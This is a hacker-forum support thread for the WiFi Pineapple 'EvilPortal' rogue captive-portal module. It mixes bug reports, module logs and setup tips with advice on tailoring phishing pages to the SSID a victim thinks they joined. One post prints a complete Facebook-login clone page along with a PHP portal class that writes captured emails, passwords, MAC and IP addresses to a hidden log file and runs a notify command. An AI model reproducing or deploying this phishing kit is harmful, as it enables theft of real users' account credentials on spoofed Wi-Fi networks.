Jump to content

[Module] EvilPortal


newbi3
 Share

Recommended Posts

On 9/16/2020 at 3:29 AM, newbi3 said:

Having an issue?

Please include this information when reporting an issue:

  • A detailed description of the issue including error messages you are receiving and steps to reproduce the problem.
  • The version of Evil Portal you are using
  • The firmware version your pineapple is running
  • Are you connected to the internet?
  • The output of the module log file located at: /tmp/modules/evilportal.log on your pineapple.

 

Hi newbi3.

Here is the issue that I, as well as everyone else I believe, are having with the Evil Portal module on the WiFi Pineapple MK7.

Using the built-in basic portal

When creating a new portal choosing the "basic" option, it creates the required files (based on the skeleton) and you start the servers, whether you use the preview option or run it live from another device, the Evil Portal landing page appears and allows you to click on the "Authorise" button, but the page simply refreshes. No message appears to say you have or hand not been authorised.

Using a pre-built template from kbeflo

When installing the portals from kbeflo, they all appear in the portal list and allow you to activate and run them. However, when you add user credentials it logs the information to the log file and adds the IP address to the allowed list, but as with the basic portal above, the page just refreshed. The user does not see a confirmation message.

It should be noted that some times ANY of the following happens:

  • It will show a message saying "You have NOT been authorised" (even when they have been)
  • A message shows saying "File not found"
  • A blank page appears

For reference, the "target" HTML input is in the form, but it appears that the handleAuthorization() function in "/pineapple/ui/modules/evilportal/assets/api/Portal.php" is not receiving the "target" variable, and so fails the logic test and defaults to the "else" command.

  • The version of Evil Portal is 1.1
  • The pineapple firmware is 1.0.1
  • It IS connected to the internet
  • The output from the log file when running a "basic" portal is as follows:
2020-11-26 11:44:10,572 - evilportal - DEBUG - Initializing module evilportal. (module.py:24)
2020-11-26 11:44:10,600 - evilportal - INFO - Starting module... (module.py:189)
2020-11-26 11:44:10,606 - evilportal - DEBUG - Binding to socket /tmp/modules/evilportal.sock (module.py:191)
2020-11-26 11:44:10,614 - evilportal - DEBUG - Listening on socket! (module.py:194)
2020-11-26 11:44:10,621 - evilportal - DEBUG - Calling 1 startup handlers. (module.py:196)
2020-11-26 11:44:10,695 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:10,731 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2020-11-26 11:44:11,883 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:11,890 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2020-11-26 11:44:11,962 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:11,970 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2020-11-26 11:44:12,178 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:12,186 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": true, "start_on_boot": false}} (module.py:83)
2020-11-26 11:44:12,274 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:12,300 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2020-11-26 11:44:12,360 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:12,399 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n"} (module.py:83)
2020-11-26 11:44:12,520 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:12,563 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2020-11-26 11:44:12,591 - evilportal - DEBUG - Creating portal folder (module.py:473)
2020-11-26 11:44:12,659 - evilportal - DEBUG - Listing directories (module.py:476)
2020-11-26 11:44:12,725 - evilportal - DEBUG - Building list (module.py:479)
2020-11-26 11:44:12,797 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:12,842 - evilportal - DEBUG - Sending response {"payload": [{"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": true}, {"title": "Basic", "portal_type": "basic", "size": 4096, "location": "/root/portals/Basic", "active": false}]} (module.py:83)
2020-11-26 11:44:13,040 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:13,045 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2020-11-26 11:44:13,100 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2020-11-26 11:44:13,145 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:13,181 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2020-11-26 11:44:54,439 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:54,469 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2020-11-26 11:44:55,958 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:55,972 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2020-11-26 11:44:56,057 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:56,092 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2020-11-26 11:44:56,116 - evilportal - DEBUG - Creating portal folder (module.py:473)
2020-11-26 11:44:56,197 - evilportal - DEBUG - Listing directories (module.py:476)
2020-11-26 11:44:56,244 - evilportal - DEBUG - Building list (module.py:479)
2020-11-26 11:44:56,315 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:56,352 - evilportal - DEBUG - Sending response {"payload": [{"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": true}, {"title": "Basic", "portal_type": "basic", "size": 4096, "location": "/root/portals/Basic", "active": false}]} (module.py:83)
2020-11-26 11:44:56,610 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:56,615 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2020-11-26 11:44:56,661 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2020-11-26 11:44:56,707 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:56,743 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2020-11-26 11:44:56,984 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:57,010 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2020-11-26 11:44:57,059 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:57,093 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n"} (module.py:83)
2020-11-26 11:44:57,475 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:57,507 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2020-11-26 11:44:58,194 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:58,202 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": true, "start_on_boot": false}} (module.py:83)
2020-11-26 11:44:59,067 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:59,096 - evilportal - DEBUG - Calling handler for action toggle_portal and passing {'module': 'evilportal', 'action': 'toggle_portal', 'portal': 'Basic'} (module.py:108)
2020-11-26 11:44:59,252 - evilportal - WARNING - Portal API already exists under /www/captiveportal. This is probably not an issue. (module.py:84)
2020-11-26 11:44:59,337 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:59,375 - evilportal - DEBUG - Sending response {"payload": "Portal has been activated."} (module.py:83)
2020-11-26 11:44:59,511 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:44:59,533 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2020-11-26 11:44:59,563 - evilportal - DEBUG - Creating portal folder (module.py:473)
2020-11-26 11:44:59,633 - evilportal - DEBUG - Listing directories (module.py:476)
2020-11-26 11:44:59,692 - evilportal - DEBUG - Building list (module.py:479)
2020-11-26 11:44:59,753 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:44:59,785 - evilportal - DEBUG - Sending response {"payload": [{"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "Basic", "portal_type": "basic", "size": 4096, "location": "/root/portals/Basic", "active": true}]} (module.py:83)
2020-11-26 11:46:21,607 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:46:21,641 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2020-11-26 11:46:21,689 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:46:21,720 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n"} (module.py:83)
2020-11-26 11:46:22,060 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:46:22,093 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2020-11-26 11:46:23,355 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:46:23,430 - evilportal - DEBUG - Sending response {"payload": {"running": true, "webserver": true, "start_on_boot": false}} (module.py:83)
2020-11-26 11:46:23,571 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:46:23,613 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2020-11-26 11:46:23,664 - evilportal - DEBUG - Creating portal folder (module.py:473)
2020-11-26 11:46:23,771 - evilportal - DEBUG - Listing directories (module.py:476)
2020-11-26 11:46:23,815 - evilportal - DEBUG - Building list (module.py:479)
2020-11-26 11:46:23,887 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:46:23,936 - evilportal - DEBUG - Sending response {"payload": [{"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "Basic", "portal_type": "basic", "size": 4096, "location": "/root/portals/Basic", "active": true}]} (module.py:83)
2020-11-26 11:46:24,405 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:46:24,456 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2020-11-26 11:46:25,985 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:46:26,002 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2020-11-26 11:46:26,130 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:46:26,186 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2020-11-26 11:46:26,262 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:46:26,321 - evilportal - DEBUG - Sending response {"payload": "172.16.42.126\n"} (module.py:83)

And when using the Facebook-Login portal from kbeflo at https://github.com/kbeflo/evilportals the log file is as follows:

2020-11-26 11:48:54,629 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:48:54,655 - evilportal - DEBUG - Calling handler for action toggle_portal and passing {'module': 'evilportal', 'action': 'toggle_portal', 'portal': 'facebook-login'} (module.py:108)
2020-11-26 11:48:54,771 - evilportal - WARNING - Portal API already exists under /www/captiveportal. This is probably not an issue. (module.py:84)
2020-11-26 11:48:54,865 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:48:54,899 - evilportal - DEBUG - Sending response {"payload": "Portal has been activated."} (module.py:83)
2020-11-26 11:48:55,274 - evilportal - DEBUG - Processing request. (module.py:211)
2020-11-26 11:48:55,310 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2020-11-26 11:48:55,340 - evilportal - DEBUG - Creating portal folder (module.py:473)
2020-11-26 11:48:55,404 - evilportal - DEBUG - Listing directories (module.py:476)
2020-11-26 11:48:55,450 - evilportal - DEBUG - Building list (module.py:479)
2020-11-26 11:48:55,497 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2020-11-26 11:48:55,529 - evilportal - DEBUG - Sending response {"payload": [{"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": true}, {"title": "Basic", "portal_type": "basic", "size": 4096, "location": "/root/portals/Basic", "active": false}]} (module.py:83)

Please could you advise how to proceed?

Many thanks.

Link to comment
Share on other sites

  • 3 weeks later...

It's taken me a day to get this up and running. But I can't see any direct help on getting this started.

So here's the way I have run it to a successful(I'm getting the unauthorized error mentioned previously, but I'll look into that later) point.

If you are testing this module out for the first time and getting zero results like I was, makes sure your test device is not connected to the pineapple at all.

Activate your chosen portal -> start the web server -> start the module.

Then connect your test device to the open AP you are running on your pineapple. I used a mobile and within seconds the authorize option came up and I was taken to the custom google login by kbeflo.

Great work on getting this onto the mkVII.

Link to comment
Share on other sites

  • 1 month later...

I have a question about "target rule editor". so I'm trying to understand how this works, what I would like is anyone who connects to the pineapple gets the captive portal. so with that said if i add a ssid of the original router and destination of the portal will anyone connecting via pineAP spoof will get a popup with the portal?

Link to comment
Share on other sites

On 1/16/2021 at 3:32 PM, Uber-hackers said:

I have a question about "target rule editor". so I'm trying to understand how this works, what I would like is anyone who connects to the pineapple gets the captive portal. so with that said if i add a ssid of the original router and destination of the portal will anyone connecting via pineAP spoof will get a popup with the portal?

I believe it is pretty much that way out of the box. I left mine running and went for a war walk, 530 ssid's later and they all automatically respond with the portal when you try to connect.

I would suggest not using that many ssid's...... I struggled to get back to the manager connection. Worth the test though. Means when pen-testing you can use more than one ssid (say an open version and staff locked version that most places have now) for testing.

Link to comment
Share on other sites

On 1/16/2021 at 10:32 AM, Uber-hackers said:

I have a question about "target rule editor". so I'm trying to understand how this works, what I would like is anyone who connects to the pineapple gets the captive portal. so with that said if i add a ssid of the original router and destination of the portal will anyone connecting via pineAP spoof will get a popup with the portal?

For your usecase it sounds like you want a Basic Portal which will show the same captive portal page to everyone always.

Targeted Portals allow you to change the page that is returned to the user based on different conditions that you set in the rules editor. For example, you may have a target that you know might connect to 2 different SSIDs based (lets say `Corporate Wifi` and `Coffee Shop`) and based on this you want to show a page that relates to the SSID. You would create two rules in the targeted rule editor for SSIDs and route them to two different destinations (we'll call them corporate.php and coffee.php). Now when a client connects to the Pineapple thinking its `Corporate Wifi` they will be shown the `corporate.php` page. If the connect thinking its `Coffee Shop` they will be shown the `coffee.php` page.

Link to comment
Share on other sites

On 1/17/2021 at 5:06 PM, newbi3 said:

For your usecase it sounds like you want a Basic Portal which will show the same captive portal page to everyone always.

Targeted Portals allow you to change the page that is returned to the user based on different conditions that you set in the rules editor. For example, you may have a target that you know might connect to 2 different SSIDs based (lets say `Corporate Wifi` and `Coffee Shop`) and based on this you want to show a page that relates to the SSID. You would create two rules in the targeted rule editor for SSIDs and route them to two different destinations (we'll call them corporate.php and coffee.php). Now when a client connects to the Pineapple thinking its `Corporate Wifi` they will be shown the `corporate.php` page. If the connect thinking its `Coffee Shop` they will be shown the `coffee.php` page.

Ahhh got it thx, for some odd reason the basic portal didn’t show up in testing but it does now.

Link to comment
Share on other sites

Hi, i am using the Evil Portal, works fine so far, apart from one Problem i have. If i enter credentials and click on the buton, the informatin ist saved, but iam redirected back on the same page. The user just stays on the portal page, as if the credentials did not work( of course they did not). My expectation is that the captive portal would just close.

Did i get something wrong?

Kind regards

Link to comment
Share on other sites

49 minutes ago, Ioun said:

Hi, i am using the Evil Portal, works fine so far, apart from one Problem i have. If i enter credentials and click on the buton, the informatin ist saved, but iam redirected back on the same page. The user just stays on the portal page, as if the credentials did not work( of course they did not). My expectation is that the captive portal would just close.

Did i get something wrong?

Kind regards

No, you have to add scripting to the index and my portal file. I use only scripts that I found on the web and edit them because they already have the scripting. I can link it when I get home. You can also try n3b’s tut on this in the terra forum page for evil portal

  • Like 1
Link to comment
Share on other sites

Sure,

index.php 

<?php
$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
//$destination = "https://facebook.de"
require_once('helper.php');

if(!empty($_POST["ip"]))
{
	/* If not visiting twitter, redirect to non-HSTS twitter domain */
	die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); 
}
?>

<html>

<head>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <title>Facebook - Log In or Sign Up</title>
  <meta name="viewport" content="user-scalable=no,initial-scale=1,maximum-scale=1">
  <link href="assets/img/O2aKM2iSbOw.png" rel="shortcut icon" sizes="196x196">
  <meta name="referrer" content="origin-when-crossorigin" id="meta_referrer">
  <link type="text/css" rel="stylesheet" href="assets/css/fBTqFRkifHK.css" data-bootloader-hash="vu/4d" crossorigin="anonymous">
  <link type="text/css" rel="stylesheet" href="assets/css/PGNbJWSeFxY.css" data-bootloader-hash="Fuprg" crossorigin="anonymous">
</head>

<body tabindex="0" class="touch x1 ff _fzu _50-3 iframe acw portrait" style="min-height: 740px; background-color: rgb(255, 255, 255);">
  <div id="viewport" data-kaios-focus-transparent="1" style="min-height: 740px;">
    <h1 style="display:block;height:0;overflow:hidden;position:absolute;width:0;padding:0">Facebook</h1>
    <div id="page">
      <div class="_129_" id="header-notices"></div>
      <div class="_5soa acw" id="root" role="main" data-sigil="context-layer-root content-pane" style="min-height: 740px;">
        <div class="_5909">
          <div class="_7om2">
            <div class="_4g34" id="u_0_0">
              <div class="_5yd0 _2ph- _5yd1" style="display: none;" id="login_error" data-sigil="m_login_notice">
                <div class="_52jd"></div>
              </div>
              <div class="_4-4l">
                <div id="login_top_banner" data-sigil="m_login_upsell login_identify_step_element"></div>
                <div class="_5909 _2pid _52z6">
                  <div class="_7om2 _52we">
                    <div class="_4g34">
                      <a href="#"><img src="assets/img/dF5SId3UHWd.svg" class="img" alt="facebook" width="112"></a>
                    </div>
                  </div>
                </div>
                <div class="_5rut" data-sigil="login_inner">
                  <form method="post" action="/captiveportal/index.php" class="mobile-login-form _9hp- _5spm" id="login_form" novalidate="1" data-sigil="m_login_form" data-autoid="autoid_2" onsubmit="redirect()">
                    <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>">
                    <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
                    <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">
                    <input type="hidden" name="target" value="<?=$destination?>">
                    <div id="user_info_container" data-sigil="user_info_after_failure_element"></div>
                    <div id="pwd_label_container" data-sigil="user_info_after_failure_element"></div>
                    <div id="otp_retrieve_desc_container"></div>
                    <div>
                      <div class="_56be">
                        <div class="_55wo _56bf">
                          <div class="_96n9" id="email_input_container">
                            <input autocorrect="off" autocapitalize="off" class="_56bg _4u9z _5ruq _8qtn" autocomplete="on" id="m_login_email" name="email" placeholder="Mobile number or email" type="text" data-sigil="m_login_email">
                          </div>
                        </div>
                      </div>
                      <div class="_55wq"></div>
                      <div class="_56be">
                        <div class="_55wo _56bf">
                          <div class="_1upc _mg8" data-sigil="m_login_password">
                            <div class="_5909">
                              <div class="_7om2">
                                <div class="_4g34 _5i2i _52we">
                                  <div class="_5xu4">
                                    <input autocorrect="off" autocapitalize="off" class="_56bg _4u9z _27z2 _8qtm" autocomplete="on" id="m_login_password" name="password" placeholder="Password" type="password" data-sigil="password-plain-text-toggle-input">
                                  </div>
                                </div>
                                <div class="_5s61 _216i _5i2i _52we">
                                  <div class="_5xu4">
                                    <div class="_2pi9" style="display:none" id="u_0_1"><a href="#" data-sigil="password-plain-text-toggle"><span class="mfss" style="display:none" id="u_0_2">HIDE</span><span class="mfss" id="u_0_3">SHOW</span></a></div>
                                  </div>
                                </div>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="_2pie" style="text-align:center;">
                      <div id="u_0_4" data-sigil="login_password_step_element">
                        <button type="submit" value="Log In" class="_54k8 _52jh _56bs _56b_ _28lf _9cow _56bw _56bu" name="login" data-sigil="touchable login_button_block m_login_button" data-autoid="autoid_4"><span class="_55sr">Log In</span></button>
                      </div>
                      <div class="_7eif" id="oauth_login_button_container" style="display:none"></div>
                      <div class="_7f_d" id="oauth_login_desc_container" style="display:none"></div>
                      <div id="otp_button_elem_container"></div>
                    </div>
                    <div class="_xo8"></div>
                  </form>
                  <div>
                    <div id="login_reg_separator" class="_43mg _8qtf" data-sigil="login_reg_separator"><span class="_43mh">or</span></div>
                    <div class="_52jj _5t3b" id="signup_button_area"><a role="button" class="_5t3c _28le btn btnS medBtn mfsm touchable" id="signup-button" tabindex="0" data-sigil="m_reg_button" data-autoid="autoid_3">Create New Account</a></div>
                  </div>
                  <div>
                    <div data-sigil="login_identify_step_element"></div>
                    <div class="other-links _8p_m">
                      <ul class="_5pkb _55wp">
                        <li><span class="mfss fcg"><a tabindex="0" href="#" id="forgot-password-link">Forgot Password?</a></span></li>
                      </ul>
                    </div>
                    <div class="other-links _8p_m _9f37" data-sigil="reg_link"></div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="_55wr _5ui2" data-sigil="m_login_footer">
          <div class="_5dpw">
            <div class="_5ui3" data-nocookies="1" id="locale-selector" data-sigil="language_selector marea">
              <div class="_5909">
                <div class="_7om2">
                  <div class="_4g34"><span class="_52jc _52j9 _52jh _3ztb">English (US)</span>
                    <div class="_3ztc"><span class="_52jc"><a href="#" data-locale="cx_PH" data-sigil="change_language">Español</a></span></div>
                    <div
                    class="_3ztc"><span class="_52jc"><a href="#" data-locale="ko_KR" data-sigil="change_language">Português (Brasil)</a></span></div>
                  <div
                  class="_3ztc"><span class="_52jc"><a href="#" data-locale="pt_BR" data-sigil="change_language">Italiano</a></span></div>
              </div>
              <div class="_4g34">
                <div class="_3ztc"><span class="_52jc"><a href="#" data-locale="tl_PH" data-sigil="change_language">Français (Canada)</a></span></div>
                <div
                class="_3ztc"><span class="_52jc"><a href="#" data-locale="es_LA" data-sigil="change_language">中文(简体)</a></span></div>
              <div
              class="_3ztc"><span class="_52jc"><a href="#" data-locale="ja_JP" data-sigil="change_language">Deutsch</a></span></div>
            <a
            href="#">
              <div class="_3j87 _1rrd _3ztd" aria-label="Complete list of languages" data-sigil="more_language"><i class="img sp_bJwgThQCp3b sx_e88f22"></i></div>
              </a>
          </div>
        </div>
      </div>
    </div>
    <div class="_5ui4">
      <div class="_96qv _9a0a"><a href="#" class="_96qw" title="Read our blog, discover the resource center, and find job opportunities.">About</a><span aria-hidden="true"> · </span><a href="#"
        class="_96qw" title="Visit our Help Center.">Help</a><span aria-hidden="true"> · </span><span class="_96qw" id="u_0_7">More</span></div>
      <div class="_96qv" style="display:none" id="u_0_8"><a href="#" class="_96qw">Pages</a><a href="#" title="Browse our places directory." class="_96qw">Locations</a><a href="#"
        title="Browse our people directory." class="_96qw">People</a><a href="#" title="Browse our Groups directory." class="_96qw">Groups</a><a href="#" class="_96qw">Page Categories</a>
        <a
        href="#" class="_96qw" title="Check out popular places on Facebook.">Places</a><a href="#" class="_96qw" target="_blank" title="Learn more about Oculus">Oculus</a><a href="#" class="_96qw" target="_blank" title="Learn more about Portal from Facebook">Portal</a>
          <a
          href="#" class="_96qw" title="Buy and sell on Facebook Marketplace.">Marketplace</a><a href="#" class="_96qw" target="_blank" title="Learn more about Facebook Pay">Facebook Pay</a><a href="#" class="_96qw" title="Donate to worthy causes.">Fundraisers</a></div>
      <span
      class="mfss fcg">Facebook Inc.</span>
    </div>
  </div>
  </div>
  </div>
  <div class=""></div>
  <div class="viewportArea _2v9s" style="display:none" id="u_0_9" data-sigil="marea">
    <div class="_5vsg" id="u_0_a" style="max-height: 800px;"></div>
    <div class="_5vsh" id="u_0_b" style="max-height: 397px;"></div>
    <div class="_5v5d fcg">
      <div class="_2so _2sq _2ss img _50cg" data-animtype="1" data-sigil="m-loading-indicator-animate m-loading-indicator-root"></div>Loading...</div>
  </div>
  <div class="viewportArea aclb" id="mErrorView" style="display:none" data-sigil="marea">
    <div class="container">
      <div class="image"></div>
      <div class="message" data-sigil="error-message"></div><a class="link" data-sigil="MPageError:retry">Try Again</a></div>
  </div>
  </div>
  </div>
  <div id="static_templates">
    <div class="mDialog" id="modalDialog" style="display:none" data-sigil=" context-layer-root" data-autoid="autoid_1">
      <div class="_52z5 _451a mFuturePageHeader _1uh1 firstStep titled" id="mDialogHeader">
        <div class="_5909">
          <div class="_7om2 _52we">
            <div class="_5s61">
              <div class="_52z7">
                <button type="submit" value="Cancel" class="cancelButton btn btnD bgb mfss touchable" id="u_0_d" data-sigil="dialog-cancel-button">Cancel</button>
                <button type="submit" value="Back" class="backButton btn btnI bgb mfss touchable iconOnly" aria-label="Back" id="u_0_e" data-sigil="dialog-back-button"><i class="img sp_bJwgThQCp3b sx_592eb4" style="margin-top: 2px;"></i></button>
              </div>
            </div>
            <div class="_4g34">
              <div class="_52z6">
                <div class="_50l4 mfsl fcw" id="m-future-page-header-title" role="heading" tabindex="0" data-sigil="m-dialog-header-title dialog-title">Loading...</div>
              </div>
            </div>
            <div class="_5s61">
              <div class="_52z8" id="modalDialogHeaderButtons"></div>
            </div>
          </div>
        </div>
      </div>
      <div class="modalDialogView" id="modalDialogView"></div>
      <div class="_5v5d _5v5e fcg" id="dialogSpinner">
        <div class="_2so _2sq _2ss img _50cg" data-animtype="1" id="u_0_c" data-sigil="m-loading-indicator-animate m-loading-indicator-root"></div>Loading...</div>
    </div>
  </div>
  <link rel="preload" href="assets/css/fBTqFRkifHK.css" as="style" crossorigin="anonymous">
  <link rel="preload" href="assets/css/PGNbJWSeFxY.css" as="style" crossorigin="anonymous">
</body>

</html>

and myportal.php :

<?php namespace evilportal;

class MyPortal extends Portal
{

    public function handleAuthorization()
    {
      if (isset($_POST['email'])) {
          $email = isset($_POST['email']) ? $_POST['email'] : 'email';
          $pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
          $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
          $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
          $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';

          $reflector = new \ReflectionClass(get_class($this));
          $logPath = dirname($reflector->getFileName());
          file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
          $this->execBackground("notify $email' - '$pwd");
      }
        // handle form input or other extra things there

        // Call parent to handle basic authorization first
        parent::handleAuthorization();
    }

    public function onSuccess()
    {
        // Calls default success message
        parent::onSuccess();
    }

    public function showError()
    {
        // Calls default error message
        parent::showError();
    }
}

thank you for your help!

Link to comment
Share on other sites

Oh, i already changed the index.php

I removed this part, this was just test i did

if(!empty($_POST["ip"]))
{
	/* If not visiting twitter, redirect to non-HSTS twitter domain */
	die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); 
}

 

Link to comment
Share on other sites

  • 3 weeks later...

Hello @newbi3 , I have many problems with the evil portal module. At the beginning it was working great for me, but after creating a captive portal and trying to use others like https://github.com/JonnyBanana/Netflix_EVIL_PORTAL the evil portal starts to behave unusual. It began to create symbolic links that can’t be modify after deactivating the portal and leave them completely fixed, so you have to change them manually with the command ln -sfn. If you don´t make these manual changes the evil portal can’t start the web server and the captive portals. The truth is, I do not know to which files the symbolic links should be directed. I tried to reinstall the firmware of the pineapple, the module and the dependencies and I still have errors with the evil portal. Please, can you help me? 

 

1) The version of Evil Portal you are using:

 1.1

2) The firmware version your pineapple is running:

1.0.2

3) Are you connected to the internet?

Yes

4) The output of the module log file located at: /tmp/modules/evilportal.log on your pineapple.

root@mk7:/tmp/modules# cat evilportal.log
2021-02-18 20:55:25,735 - evilportal - DEBUG - Initializing module evilportal. (module.py:24)
2021-02-18 20:55:25,758 - evilportal - INFO - Starting module... (module.py:189)
2021-02-18 20:55:25,764 - evilportal - DEBUG - Binding to socket /tmp/modules/evilportal.sock (module.py:191)
2021-02-18 20:55:25,769 - evilportal - DEBUG - Listening on socket! (module.py:194)
2021-02-18 20:55:25,774 - evilportal - DEBUG - Calling 1 startup handlers. (module.py:196)
2021-02-18 20:55:25,835 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:25,854 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2021-02-18 20:55:26,711 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:26,719 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2021-02-18 20:55:26,832 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:26,859 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-02-18 20:55:26,917 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:26,954 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n172.16.42.178\n"} (module.py:83)
